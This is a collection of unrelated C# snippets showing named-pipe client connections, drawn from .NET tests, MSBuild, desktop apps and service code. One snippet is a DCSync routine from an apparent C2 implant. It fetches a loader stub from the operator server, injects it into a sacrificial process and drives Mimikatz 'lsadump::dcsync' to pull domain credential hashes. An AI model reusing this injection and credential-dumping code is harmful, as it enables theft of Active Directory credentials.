public static bool Connect() { if (_tron != null) { return(Connected); } if (!EnableTronWindow || !ReConnect.Timeout) { return(false); } try { lock (CheckState) { _tron = new NamedPipeClientStream(".", PipeName, PipeDirection.InOut, PipeOptions.Asynchronous); _tron?.Connect(10); } } catch (Exception) { Disconnect(); } ReConnect.Start(TimeSpan.FromSeconds(30)); return(Connected); }
public void InvalidConnectTimeout_Throws_ArgumentOutOfRangeException() { using (NamedPipeClientStream client = new NamedPipeClientStream("client1")) { Assert.Throws<ArgumentOutOfRangeException>("timeout", () => client.Connect(-111)); Assert.Throws<ArgumentOutOfRangeException>("timeout", () => { client.ConnectAsync(-111); }); } }
public async Task ConnectToNonExistentServer_Throws_TimeoutException() { using (NamedPipeClientStream client = new NamedPipeClientStream(".", "notthere")) { var ctx = new CancellationTokenSource(); Assert.Throws<TimeoutException>(() => client.Connect(60)); // 60 to be over internal 50 interval await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(50)); await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(60, ctx.Token)); // testing Token overload; ctx is not canceled in this test } }
private static int ClientConnectAsID(string pipeName, string pairIDString) { uint pairID = uint.Parse(pairIDString); using (var inbound = new NamedPipeClientStream(".", pipeName, PipeDirection.In)) { Assert.NotEqual(-1, seteuid(pairID)); inbound.Connect(); } return SuccessExitCode; }
protected override ServerClientPair CreateServerClientPair() { ServerClientPair ret = new ServerClientPair(); string pipeName = GetUniquePipeName(); var readablePipe = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous); var writeablePipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous); Task serverConnect = Task.Factory.FromAsync(readablePipe.BeginWaitForConnection, readablePipe.EndWaitForConnection, null); writeablePipe.Connect(); serverConnect.Wait(); ret.readablePipe = readablePipe; ret.writeablePipe = writeablePipe; return ret; }
public async Task RunAsClient_Windows() { string pipeName = Path.GetRandomFileName(); using (var server = new NamedPipeServerStream(pipeName)) using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation)) { Task serverTask = server.WaitForConnectionAsync(); client.Connect(); await serverTask; bool ran = false; server.RunAsClient(() => ran = true); Assert.True(ran, "Expected delegate to have been invoked"); } }
[PlatformSpecific(PlatformID.Windows)] // Unix implementation uses bidirectional sockets public void ConnectWithConflictingDirections_Throws_UnauthorizedAccessException() { string serverName1 = GetUniquePipeName(); using (NamedPipeServerStream server = new NamedPipeServerStream(serverName1, PipeDirection.Out)) using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName1, PipeDirection.Out)) { Assert.Throws<UnauthorizedAccessException>(() => client.Connect()); Assert.False(client.IsConnected); } string serverName2 = GetUniquePipeName(); using (NamedPipeServerStream server = new NamedPipeServerStream(serverName2, PipeDirection.In)) using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName2, PipeDirection.In)) { Assert.Throws<UnauthorizedAccessException>(() => client.Connect()); Assert.False(client.IsConnected); } }
static void Main(string[] args) { if (args.Length < 6) { return; } //var dir = @"..\..\..\ShibugakiViewer\bin\Debug\"; //var serverPath = @"ShibugakiViewer.exe"; /* * var mode = "/w"; * * var serverFullPath = @"..\..\..\ShibugakiViewer\bin\Debug\ShibugakiViewer.exe"; * * var saveDirectory = Path.Combine(System.Environment.GetFolderPath * (Environment.SpecialFolder.LocalApplicationData), * "Boredbone", "ShibugakiViewer"); * * var mutexId = "79509481-1f8d-44b0-a581-d0dd4fa23710"; * var pipeId = "1af9b56b-4195-4b99-9893-1edfb2f84cbe"; * * var files = new[] { "library.db", "libsettings.config", "appsettings.config" }; * * var workingDirectory = System.AppDomain.CurrentDomain.BaseDirectory; */ /* * args = new[] * { * "/c", * @"..\..\..\ShibugakiViewer\bin\Debug\ShibugakiViewer.exe", * Path.Combine(System.Environment.GetFolderPath * (Environment.SpecialFolder.LocalApplicationData), * "Boredbone", "ShibugakiViewer"), * "79509481-1f8d-44b0-a581-d0dd4fa23710", * "1af9b56b-4195-4b99-9893-1edfb2f84cbe", * "appsettings.config", * Path.Combine(System.Environment.GetFolderPath * (Environment.SpecialFolder.LocalApplicationData), * @"Packages\60037Boredbone.MikanViewer_8weh06aq8rfkj\LocalState"), * "3", * };*/ args = args.Select(x => { if (x.StartsWith("\"") && x.EndsWith("\"")) { x = x.Substring(1, x.Length - 2); } return(x); }).ToArray(); var modeText = args[0]?.ToLower(); var serverFullPath = args[1]; var saveDirectory = args[2]; var mutexId = args[3]; var pipeId = args[4]; var files = args.Skip(5).ToArray(); var workingDirectory = Path.GetDirectoryName(serverFullPath); var filter = "ShibugakiViewer Library (*.svl)|*.svl"; var fileName = $"ShibugakiViewerLibrary_{DateTime.Now.ToString("yyyyMMddHHmm")}.svl"; if (modeText == null) { return; } Mode mode; switch (modeText) { case "/w": mode = Mode.Export; break; case "/r": mode = Mode.Import; break; case "/c": mode = Mode.Convert; break; default: return; } string modeLabel; switch (mode) { case Mode.Export: modeLabel = "Export"; break; case Mode.Import: modeLabel = "Import"; break; case Mode.Convert: modeLabel = "Converter"; break; default: modeLabel = ""; break; } Console.WriteLine("ShibugakiViewer Library " + modeLabel); Console.WriteLine("Processing..."); try { using (var mutex = new Mutex(false, mutexId)) { var hasMutex = false; try { if (!mutex.WaitOne(0, false)) { //ミューテックス取得失敗 //稼働中のアプリケーションを終了 using (var pipeClient = new NamedPipeClientStream(".", pipeId, PipeDirection.Out)) { pipeClient.Connect(300); // Read user input and send that to the client process. using (var sw = new StreamWriter(pipeClient) { AutoFlush = true }) { sw.WriteLine("?exit"); } } if (mutex.WaitOne(10000, false)) { hasMutex = true; } } else { hasMutex = true; } } catch (AbandonedMutexException) { } try { //ライブラリの圧縮または解凍 switch (mode) { case Mode.Export: Save(files, saveDirectory, filter, fileName); break; case Mode.Import: Load(files, saveDirectory, filter); break; case Mode.Convert: var version = 0; int.TryParse(files[2], out version); new Compat() .ConvertOldLibraryAsync(saveDirectory, files[0], files[1], version) .Wait(); break; } Console.WriteLine("Done"); } catch (Exception e) { Console.WriteLine(e.ToString()); Console.ReadLine(); return; } finally { //ミューテックスを保持していたら解放 if (hasMutex) { mutex.ReleaseMutex(); mutex.Close(); } } } } catch (Exception e) { Console.WriteLine(e.ToString()); //foreach (var l in args) //{ // Console.WriteLine(l); //} Console.ReadLine(); return; } try { //var path = serverFullPath;// Path.Combine(dir, serverPath); //アプリ起動 var psi = new ProcessStartInfo() { FileName = serverFullPath, WorkingDirectory = workingDirectory, UseShellExecute = false, }; System.Diagnostics.Process.Start(psi); } catch (Exception e) { Console.WriteLine(e.ToString()); Console.ReadLine(); return; } }
public static void DCSync(Job job, Agent implant) { DCSyncParameters dcsParams; Task task = job.Task; string command; string sacrificialApplication; string commandLine = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); string formatCommand = "\"lsadump::dcsync /domain:{0} /user:{1}\""; dcsParams = JsonConvert.DeserializeObject <DCSyncParameters>(job.Task.parameters); if (string.IsNullOrEmpty(dcsParams.domain)) { job.SetError("Missing required parameter: domain"); return; } if (string.IsNullOrEmpty(dcsParams.user)) { job.SetError("Missing required parameter: user"); return; } if (dcsParams.domain.Split(' ').Length > 1) { job.SetError($"Invalid domain: {dcsParams.domain}"); return; } if (dcsParams.user.Split(' ').Length > 1) { job.SetError($"Invalid user: {dcsParams.user}"); return; } command = string.Format(formatCommand, dcsParams.domain, dcsParams.user); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, dcsParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", dcsParams.loader_stub_id)); return; } pipeName = dcsParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.SetComplete(output.ToArray()); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in DCSync (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in DCSync. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/********************************************************************************************************/ // INTERFACE SECTION /********************************************************************************************************/ #region -- ICommunicationClient implementation -- public void Start() { _pipeClient.Connect(TRY_CONNECT_TIMEOUT); }
public void StopInputProcessing() { NamedPipeClientStream namedPipeClient = null; StreamWriter streamWriter = null; stopThreads = true; if (this.pipeStream == null) { return; } for (var i = 0; i < Config.PipeInstances; i++) { try { ClosePipeStream(this.pipeStream[i], this.streamReader[i]); namedPipeClient = new NamedPipeClientStream(".", Config.PipeName, PipeDirection.InOut); streamWriter = new StreamWriter(namedPipeClient); namedPipeClient.Connect(500); streamWriter.AutoFlush = true; streamWriter.WriteLine("QUIT\r\n"); streamWriter.Close(); namedPipeClient.Close(); namedPipeClient = null; } catch (TimeoutException tex) { LogCons.Inst.Write(LogLevel.Error, $"{tex.StackTrace}\n{tex.ToString()}"); } catch (Exception ex) { LogCons.Inst.Write(LogLevel.Error, $"An error occurred while starting the sniffer : {ex.StackTrace}\n{ex.ToString()}"); } finally { if (streamWriter != null) { Minary.Common.Utils.TryExecute2(streamWriter.Close); } if (namedPipeClient != null) { Minary.Common.Utils.TryExecute2(namedPipeClient.Close); namedPipeClient = null; } } } for (var i = 0; i < Config.PipeInstances; i++) { if (this.pipeStream == null || this.pipeStream[i] == null) { continue; } try { this.pipeStream[i].Disconnect(); this.pipeStream[i].Close(); this.pipeStream[i].Dispose(); } catch { } } }
private void PipeThread(object id) { try { using (var pipe = new NamedPipeClientStream(".", (string)id + "\\root", PipeDirection.In)) { pipe.Connect(); BinaryReader rd = new BinaryReader(pipe); for (;;) { lock (mSync) if (mShutdown) return; int op = pipe.ReadByte(); if (op < 0) return; ProcessPipeThreadEvent(rd, op); } } } catch (Exception ex) { lock (mSync) mError.Add(ex); } }
/// <summary> /// Attempts to connect to the specified process. /// </summary> private Stream TryConnectToProcess(int nodeProcessId, int timeout, long hostHandshake, long clientHandshake) { // Try and connect to the process. string pipeName = "MSBuild" + nodeProcessId; NamedPipeClientStream nodeStream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous #if FEATURE_PIPEOPTIONS_CURRENTUSERONLY | PipeOptions.CurrentUserOnly #endif ); CommunicationsUtilities.Trace("Attempting connect to PID {0} with pipe {1} with timeout {2} ms", nodeProcessId, pipeName, timeout); try { nodeStream.Connect(timeout); #if !MONO && !FEATURE_PIPEOPTIONS_CURRENTUSERONLY if (NativeMethodsShared.IsWindows) { // Verify that the owner of the pipe is us. This prevents a security hole where a remote node has // been faked up with ACLs that would let us attach to it. It could then issue fake build requests back to // us, potentially causing us to execute builds that do harmful or unexpected things. The pipe owner can // only be set to the user's own SID by a normal, unprivileged process. The conditions where a faked up // remote node could set the owner to something else would also let it change owners on other objects, so // this would be a security flaw upstream of us. ValidateRemotePipeSecurityOnWindows(nodeStream); } #endif CommunicationsUtilities.Trace("Writing handshake to pipe {0}", pipeName); nodeStream.WriteLongForHandshake(hostHandshake); CommunicationsUtilities.Trace("Reading handshake from pipe {0}", pipeName); #if NETCOREAPP2_1 long handshake = nodeStream.ReadLongForHandshake(timeout); #else long handshake = nodeStream.ReadLongForHandshake(); #endif if (handshake != clientHandshake) { CommunicationsUtilities.Trace("Handshake failed. Received {0} from client not {1}. Probably the client is a different MSBuild build.", handshake, clientHandshake); throw new InvalidOperationException(); } // We got a connection. CommunicationsUtilities.Trace("Successfully connected to pipe {0}...!", pipeName); return(nodeStream); } catch (Exception e) { if (ExceptionHandling.IsCriticalException(e)) { throw; } // Can be: // UnauthorizedAccessException -- Couldn't connect, might not be a node. // IOException -- Couldn't connect, already in use. // TimeoutException -- Couldn't connect, might not be a node. // InvalidOperationException – Couldn’t connect, probably a different build CommunicationsUtilities.Trace("Failed to connect to pipe {0}. {1}", pipeName, e.Message.TrimEnd()); // If we don't close any stream, we might hang up the child if (nodeStream != null) { nodeStream.Dispose(); } } return(null); }
/// <summary> /// Attempts to connect to the specified process. /// </summary> private Stream TryConnectToProcess(int nodeProcessId, int timeout, Handshake handshake) { // Try and connect to the process. string pipeName = NamedPipeUtil.GetPipeNameOrPath("MSBuild" + nodeProcessId); NamedPipeClientStream nodeStream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous #if FEATURE_PIPEOPTIONS_CURRENTUSERONLY | PipeOptions.CurrentUserOnly #endif ); CommunicationsUtilities.Trace("Attempting connect to PID {0} with pipe {1} with timeout {2} ms", nodeProcessId, pipeName, timeout); try { nodeStream.Connect(timeout); #if !FEATURE_PIPEOPTIONS_CURRENTUSERONLY if (NativeMethodsShared.IsWindows && !NativeMethodsShared.IsMono) { // Verify that the owner of the pipe is us. This prevents a security hole where a remote node has // been faked up with ACLs that would let us attach to it. It could then issue fake build requests back to // us, potentially causing us to execute builds that do harmful or unexpected things. The pipe owner can // only be set to the user's own SID by a normal, unprivileged process. The conditions where a faked up // remote node could set the owner to something else would also let it change owners on other objects, so // this would be a security flaw upstream of us. ValidateRemotePipeSecurityOnWindows(nodeStream); } #endif int[] handshakeComponents = handshake.RetrieveHandshakeComponents(); for (int i = 0; i < handshakeComponents.Length; i++) { CommunicationsUtilities.Trace("Writing handshake part {0} ({1}) to pipe {2}", i, handshakeComponents[i], pipeName); nodeStream.WriteIntForHandshake(handshakeComponents[i]); } // This indicates that we have finished all the parts of our handshake; hopefully the endpoint has as well. nodeStream.WriteEndOfHandshakeSignal(); CommunicationsUtilities.Trace("Reading handshake from pipe {0}", pipeName); #if NETCOREAPP2_1_OR_GREATER || MONO nodeStream.ReadEndOfHandshakeSignal(true, timeout); #else nodeStream.ReadEndOfHandshakeSignal(true); #endif // We got a connection. CommunicationsUtilities.Trace("Successfully connected to pipe {0}...!", pipeName); return(nodeStream); } catch (Exception e) when(!ExceptionHandling.IsCriticalException(e)) { // Can be: // UnauthorizedAccessException -- Couldn't connect, might not be a node. // IOException -- Couldn't connect, already in use. // TimeoutException -- Couldn't connect, might not be a node. // InvalidOperationException – Couldn’t connect, probably a different build CommunicationsUtilities.Trace("Failed to connect to pipe {0}. {1}", pipeName, e.Message.TrimEnd()); // If we don't close any stream, we might hang up the child nodeStream?.Dispose(); } return(null); }
public void NameTooLong_MaxLengthPerPlatform() { // Increase a name's length until it fails ArgumentOutOfRangeException e = null; string name = Path.GetRandomFileName(); for (int i = 0; ; i++) { try { name += 'c'; using (var s = new NamedPipeServerStream(name)) using (var c = new NamedPipeClientStream(name)) { Task t = s.WaitForConnectionAsync(); c.Connect(); t.GetAwaiter().GetResult(); } } catch (ArgumentOutOfRangeException exc) { e = exc; break; } } Assert.NotNull(e); Assert.NotNull(e.ActualValue); // Validate the length was expected string path = (string)e.ActualValue; if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux)) { Assert.Equal(108, path.Length); } else if (RuntimeInformation.IsOSPlatform(OSPlatform.OSX)) { Assert.Equal(104, path.Length); } else { Assert.InRange(path.Length, 92, int.MaxValue); } }
public static void Run(bool sendKillSig = false) { NamedPipeClientStream pipeClient = null; try { RESEND :; for (int c = 0; c < 1;) { // ---------------------------------------------------------------------------------------------------------------- // Try to open the named pipe identified by the pipe name. pipeClient = new NamedPipeClientStream( Program.ServerName, // The server name Program.PipeName, // The unique pipe name PipeDirection.InOut, // The pipe is duplex PipeOptions.None // No additional parameters ); pipeClient.Connect(5000); Console.WriteLine("[IPC Client Connected] - Pipe Name: \"{0}\"", Program.FullPipeName); pipeClient.ReadMode = PipeTransmissionMode.Message; // ---------------------------------------------------------------------------------------------------------------- // Send our request to server string message = ""; if (sendKillSig) { message = Program.KillRequestMessage; } else { message = Program.RequestMessage; } byte[] bRequest = Encoding.UTF8.GetBytes(message); int cbRequest = bRequest.Length; pipeClient.Write(bRequest, 0, cbRequest); pipeClient.WaitForPipeDrain(); Console.WriteLine("[IPC Client Sent {0} bytes] Message: {1}", cbRequest, message); // ---------------------------------------------------------------------------------------------------------------- // Receive acknowledgement from server. string msg = ""; var reader = new StreamReader(pipeClient); msg = reader.ReadToEnd(); byte[] tmp = Encoding.UTF8.GetBytes(msg); string tmpStr = Encoding.UTF8.GetString(tmp).Replace("\0", ""); Console.WriteLine("[IPC Client Received {0} bytes] Message: {1}", tmp.Length, tmpStr); c++; if (tmpStr != "MSG_RECEIVED") { goto RESEND; } else { goto ENDLOOP; } } ENDLOOP :; // ---------------------------------------------------------------------------------------------------------------- // Close the pipe pipeClient.Close(); } catch (Exception ex) { Console.WriteLine("[IPC Client ERROR] - {0}", ex.Message); } finally { // Close the pipe. if (pipeClient != null) { pipeClient.Close(); pipeClient = null; } } }
public async Task Unix_GetImpersonationUserName_Succeed() { string pipeName = GetUniquePipeName(); using (var server = new NamedPipeServerStream(pipeName)) using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation)) { Task serverTask = server.WaitForConnectionAsync(); client.Connect(); await serverTask; string name = server.GetImpersonationUserName(); Assert.NotNull(name); Assert.False(string.IsNullOrWhiteSpace(name)); } }
public static async Task ClientTryConnectedThrows() { using (NamedPipeClientStream client = new NamedPipeClientStream(".", "notthere")) { var ctx = new CancellationTokenSource(); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) // [ActiveIssue(812, PlatformID.AnyUnix)] - Unix implementation currently ignores timeout and cancellation token once the operation has been initiated { Assert.Throws<TimeoutException>(() => client.Connect(60)); // 60 to be over internal 50 interval await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(50)); await Assert.ThrowsAsync<TimeoutException>(() => client.ConnectAsync(60, ctx.Token)); Task clientConnectToken = client.ConnectAsync(ctx.Token); ctx.Cancel(); await Assert.ThrowsAnyAsync<OperationCanceledException>(() => clientConnectToken); } ctx.Cancel(); await Assert.ThrowsAnyAsync<OperationCanceledException>(() => client.ConnectAsync(ctx.Token)); } }
[PlatformSpecific(PlatformID.Windows)] // Win32 P/Invokes to verify the user name public async Task Windows_GetImpersonationUserName_Succeed() { string pipeName = GetUniquePipeName(); using (var server = new NamedPipeServerStream(pipeName)) { using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation)) { string expectedUserName; Task serverTask = server.WaitForConnectionAsync(); client.Connect(); await serverTask; Assert.True(Interop.TryGetImpersonationUserName(server.SafePipeHandle, out expectedUserName), "GetNamedPipeHandleState failed"); Assert.Equal(expectedUserName, server.GetImpersonationUserName()); } } }
public static async Task ClientAllReadyConnectedThrows() { using (NamedPipeServerStream server = new NamedPipeServerStream("testServer1", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous)) using (NamedPipeClientStream client = new NamedPipeClientStream(".", "testServer1", PipeDirection.InOut, PipeOptions.Asynchronous)) { byte[] buffer = new byte[] { 0, 0, 0, 0 }; Task clientConnect1 = client.ConnectAsync(); server.WaitForConnection(); await clientConnect1; Assert.True(client.IsConnected); Assert.True(server.IsConnected); Assert.Throws<InvalidOperationException>(() => client.Connect()); var ctx = new CancellationTokenSource(); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) // [ActiveIssue(812, PlatformID.AnyUnix)] - the cancellation token is ignored after the operation is initiated, due to base Stream's implementation { Task clientReadToken = client.ReadAsync(buffer, 0, buffer.Length, ctx.Token); ctx.Cancel(); await Assert.ThrowsAnyAsync<OperationCanceledException>(() => clientReadToken); } ctx.Cancel(); Assert.True(client.ReadAsync(buffer, 0, buffer.Length, ctx.Token).IsCanceled); var ctx1 = new CancellationTokenSource(); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) // [ActiveIssue(812, PlatformID.AnyUnix)] - the cancellation token is ignored after the operation is initiated, due to base Stream's implementation { Task serverReadToken = server.ReadAsync(buffer, 0, buffer.Length, ctx1.Token); ctx1.Cancel(); await Assert.ThrowsAnyAsync<OperationCanceledException>(() => serverReadToken); } ctx1.Cancel(); Assert.True(server.ReadAsync(buffer, 0, buffer.Length, ctx1.Token).IsCanceled); } }
public Context(Session session, int id, bool isMainThread) { mIsMainThread = isMainThread; mSession = session; mKey = mSession.mKey + "\\" + id.ToString("x8"); mPipe = new NamedPipeClientStream(".", mKey, PipeDirection.InOut); mPipe.Connect(); mReader = new BinaryReader(mPipe); mWriter = new BinaryWriter(mPipe); }
public void Windows_MessagePipeTransissionMode() { byte[] msg1 = new byte[] { 5, 7, 9, 10 }; byte[] msg2 = new byte[] { 2, 4 }; byte[] received1 = new byte[] { 0, 0, 0, 0 }; byte[] received2 = new byte[] { 0, 0 }; byte[] received3 = new byte[] { 0, 0, 0, 0 }; ; string pipeName = GetUniquePipeName(); using (NamedPipeServerStream server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Message)) { using (NamedPipeClientStream client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, Security.Principal.TokenImpersonationLevel.Identification)) { server.ReadMode = PipeTransmissionMode.Message; Assert.Equal(PipeTransmissionMode.Message, server.ReadMode); Task clientTask = Task.Run(() => { client.Connect(); client.Write(msg1, 0, msg1.Length); client.Write(msg2, 0, msg2.Length); client.Write(msg1, 0, msg1.Length); int serverCount = client.NumberOfServerInstances; Assert.Equal(1, serverCount); }); server.WaitForConnection(); int len1 = server.Read(received1, 0, msg1.Length); Assert.True(server.IsMessageComplete); Assert.Equal(msg1.Length, len1); Assert.Equal(msg1, received1); int len2 = server.Read(received2, 0, msg2.Length); Assert.True(server.IsMessageComplete); Assert.Equal(msg2.Length, len2); Assert.Equal(msg2, received2); int len3 = server.Read(received3, 0, msg1.Length - 1); // read one less than message Assert.False(server.IsMessageComplete); Assert.Equal(msg1.Length - 1, len3); int len4 = server.Read(received3, len3, received3.Length - len3); Assert.True(server.IsMessageComplete); Assert.Equal(msg1.Length, len3 + len4); Assert.Equal(msg1, received3); string userName = server.GetImpersonationUserName(); // not sure what to test here that will work in all cases } } }
void CreateClientPipe() { pipeStream = new NamedPipeClientStream(".", PipesCommon.CarDvrPipeName, PipeDirection.InOut); pipeStream.Connect(10000); }
protected override void OnStartup(StartupEventArgs e) { List <string> filePaths = new List <string>(); if (e.Args != null) { filePaths = new List <string>(e.Args); } // Exit application if already running. if (!mutex.WaitOne(TimeSpan.Zero, true)) { if (e.Args != null) { using (var client = new NamedPipeClientStream(id)) using (var writer = new BinaryWriter(client)) { if (filePaths.Count != 0) { client.Connect(3000); string filePathsString = ""; foreach (string filePath in filePaths) { filePathsString += filePath + "\n"; } filePathsString = filePathsString.Remove(filePathsString.Length - 1); writer.Write(filePathsString); } } } Current.Shutdown(); } else { base.OnStartup(e); main = new Main(new List <string>(e.Args)); listen = new Thread(() => { while (true) { using (NamedPipeServerStream server = new NamedPipeServerStream(id)) { server.WaitForConnection(); using (var reader = new BinaryReader(server)) { string arguments = reader.ReadString(); filePaths = new List <string>(arguments.Split('\n')); main.AddTorrents(filePaths); } } } }); listen.IsBackground = true; listen.Start(); } }
public override void ExecuteCommand(EvtChatCommandArgs args) { //Check if the chatbot is enabled long chatbotEnabled = DataHelper.GetSettingInt(SettingsConstants.CHATBOT_ENABLED, 0L); if (chatbotEnabled != 1) { QueueMessage("The streamer is not currently using a chatbot!"); return; } using (BotDBContext context = DatabaseManager.OpenContext()) { //Check if the user has the ability to chat with the chatbot User user = DataHelper.GetUserNoOpen(args.Command.ChatMessage.Username, context); if (user != null && user.HasEnabledAbility(PermissionConstants.CHATBOT_ABILITY) == false) { QueueMessage("You do not have the ability to chat with the chatbot."); return; } } string question = args.Command.ArgumentsAsString; //The user needs to send a prompt to the bot if (string.IsNullOrEmpty(question) == true) { QueueMessage(UsageMessage); return; } long chatbotPipePathIsRelative = DataHelper.GetSettingInt(SettingsConstants.CHATBOT_SOCKET_PATH_IS_RELATIVE, 1L); string fileName = DataHelper.GetSettingString(SettingsConstants.CHATBOT_SOCKET_PATH, string.Empty); try { string chatbotPipePath = fileName; //Get relative path if we should if (chatbotPipePathIsRelative == 1) { chatbotPipePath = Path.Combine(DataConstants.DataFolderPath, fileName); } //Console.WriteLine("Full path: " + pipePath); //Set up the pipe stream using (NamedPipeClientStream chatterBotClient = new NamedPipeClientStream(".", chatbotPipePath, PipeDirection.InOut)) { //Connect to the pipe or wait until it's available, with a timeout //Console.WriteLine("Attempting to connect to chatbot socket..."); chatterBotClient.Connect(RESPONSE_TIMEOUT); //Send the input to ChatterBot using (BinaryWriter promptWriter = new BinaryWriter(chatterBotClient)) { using (BinaryReader responseReader = new BinaryReader(chatterBotClient)) { //Get a byte array byte[] byteBuffer = System.Text.Encoding.ASCII.GetBytes(question); //Send the data to the socket promptWriter.Write((uint)byteBuffer.Length); promptWriter.Write(byteBuffer); //Get the data back from the socket uint responseLength = responseReader.ReadUInt32(); //Console.WriteLine($"Response length: responseLength"); string response = new string(responseReader.ReadChars((int)responseLength)); //Console.WriteLine($"Received response: {response}"); //Output the response QueueMessage(response); } } } } catch (Exception exc) { QueueMessage($"Error with sending chatbot reply: {exc.Message} - Please check the \"{SettingsConstants.CHATBOT_SOCKET_PATH}\" and \"{SettingsConstants.CHATBOT_SOCKET_PATH_IS_RELATIVE}\" settings in the database."); } }
public static void InitOutputConnections() { Logger.WriteLine($"[Kernel.Connectors.InitOutputConnections] Wait output connections"); Task.Run(() => { PartitionMon_CommandPipe_Sync.WaitOne(); { PartitionMon_CommandPipe.Connect(); PartitionMon_CommandWriter = new BinaryWriter(PartitionMon_CommandPipe, KernelInitializator.Config.NamedPipeEncoding); Logger.WriteLine($"[Kernel.Connectors] Монитор разделов подключен", LogLevel.OK); } PartitionMon_CommandPipe_Sync.ReleaseMutex(); }); Task.Run(() => { ScannerService_Output_Sync.WaitOne(); { ScannerService_Output.Connect(); ScannerService_Writer = new BinaryWriter(ScannerService_Output, KernelInitializator.Config.NamedPipeEncoding); Logger.WriteLine($"[Kernel.Connectors] Сканнер подключен(на вход сканнера)", LogLevel.OK); } ScannerService_Output_Sync.ReleaseMutex(); ScannerService_Command_Sync.WaitOne(); { ScannerService_Command.Connect(); ScannerService_CommandWriter = new BinaryWriter(ScannerService_Command, KernelInitializator.Config.NamedPipeEncoding); Logger.WriteLine($"[Kernel.Connectors] Канал команд сканера подключен", LogLevel.OK); } ScannerService_Command_Sync.ReleaseMutex(); }); Task.Run(() => { VirusesDb_CommandPipe_Sync.WaitOne(); { VirusesDb_CommandPipe.Connect(); VirusesDb_CommandWriter = new BinaryWriter(VirusesDb_CommandPipe, KernelInitializator.Config.NamedPipeEncoding); Logger.WriteLine($"[Kernel.Connectors] База вирусов подключена", LogLevel.OK); } VirusesDb_CommandPipe_Sync.ReleaseMutex(); Thread.Sleep(100); }); Task.Run(() => { Api_Out_Sync.WaitOne(); { Api_Out.Connect(); Logger.WriteLine($"[Kernel.Connectors] API OUT connected", LogLevel.OK); } Api_Out_Sync.ReleaseMutex(); }); }
